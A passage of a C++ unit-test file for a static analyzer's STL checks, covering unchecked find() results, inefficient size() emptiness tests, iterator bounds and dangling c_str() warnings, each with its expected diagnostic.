\"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() 